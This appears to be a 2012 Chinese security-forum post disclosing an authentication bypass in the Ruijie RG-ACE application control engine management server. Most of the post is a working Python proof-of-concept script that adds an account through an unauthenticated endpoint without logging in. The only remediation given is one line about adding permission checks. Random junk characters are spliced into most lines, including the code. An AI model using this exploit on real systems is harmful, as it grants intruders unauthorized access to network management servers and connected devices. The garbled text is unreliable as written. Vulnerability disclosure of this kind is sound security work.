找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2235|回复: 0
打印 上一主题 下一主题

锐捷应用控制引擎管理服务器可以增加用户

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:16:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)6 S& N, }/ A' l# `8 c6 l/ a0 Q
1 u) c+ y& O* l- Q0 P

+ _# q8 U2 o0 u, J. {! k1 V% T" d测试的具体版本是  T9 X  t5 T9 y/ W6 ^6 G
产品名称: 锐捷应用控制引擎
$ l. e$ [( ]2 u版本号: 3.1.36.001 TC& B7 h" T0 ^6 m' u4 I% r
编译时间: 201104291730" y* z. G- @% @* L( t" i& v5 r
. C) z. S* `5 C( m5 {. d

( B$ j5 N  x/ A' p/ U) a漏洞证明:% G) _2 l. y7 ^% R
, t: C4 i/ X+ z- z. \1 I- e6 s

2 ]3 ]+ e8 ~, c$ c3 }2 F
3 s, }  ]3 Z" [) e1 O. k: ?1 a, g! e- O3 ]0 X/ q; g" D

: x9 T  a$ E9 Y4 ^5 l
0 p6 q! Q( O/ s: ~7 c0 q, `# |执行脚本
/ m% g6 P2 Z' c, I! J, W#! /usr/bin/env python
' r' R7 x* i  n4 p' [% i) b#coding=gbk
  u3 c& ~% ^$ c- J#RG-ACE管理服务器 V3.1.36.001/ c' I3 S5 ~. L! x- k
import urllib2, urllib,cookielib
  b5 u5 q$ G$ r$ s3 C1 s. ^) ourl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP( [0 [4 b6 c/ X' [  z
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))7 E2 ?# R2 \. z* e) g9 ]7 s) r
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]( e0 _0 Q  I1 K$ X5 T; r+ e
post=(("event","userManager.doInsertUserInfo"),7 Z0 f1 U# T. C
("useractionname","addButtonValue"),
( M* u4 H/ V& Q, F* M/ q& z("useropermanager","userManager"),
5 G5 e/ Y; C: j("userName","t"), #######账号自己加/ \" [! n; O( r3 `* y
("pwd","aaaaaa"),######密码自己加
9 w( m8 l& X! R2 n9 z" C("trueName","ad"),
! s+ _0 ]" l% S4 o- S9 p% ^; \& H("email",""),
% j& D9 [* x0 g5 x% v! B("mobilePhone",""),2 N& Q8 u& J: K  ]! P0 ?
("officePhone",""),
/ \* H) `% q! t/ Z("addr",""),2 Z$ o0 d. l  C, A9 z
("submit","确定"))* }, l0 s: Q* m2 x
urllib2.install_opener(opener)" U4 e; T4 E; k6 I- C$ ]4 |
p=urllib2.urlopen(url, urllib.urlencode(post)).read()
; U5 h0 _/ P! f. q& Dprint "Done"
8 a0 m- o6 y2 P/ d0 k; w) E& C" s8 ]* L- e. A1 l
登录,连接设备. m) l% t9 g+ d& v
! ]; A) N' ^  T& x4 S: q
& x3 X+ M( H! a! z) \' q- l+ z
3 u2 W9 ]' i) {" A6 _: r

" v; W* G% z6 N9 i0 A. l! h" h* A2 k; V- c
默认的管理员admin权限更大点+ x+ ]' q  {' ?: x/ l' U* P- U
* |) Z4 x( C; q  ~. ?% P

9 b( O5 R( C& Q3 b+ q
7 S* T# N2 z/ `" W+ K8 O: }% b - i) d6 \$ C3 u+ G; l

( e% K7 F4 V7 t& o6 d修复方案:) r, K" \, A: M, j; Y# O
加强对接口的权限验证9 }' q) l4 ~! P2 ~$ r

7 n6 E8 A! Q0 T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表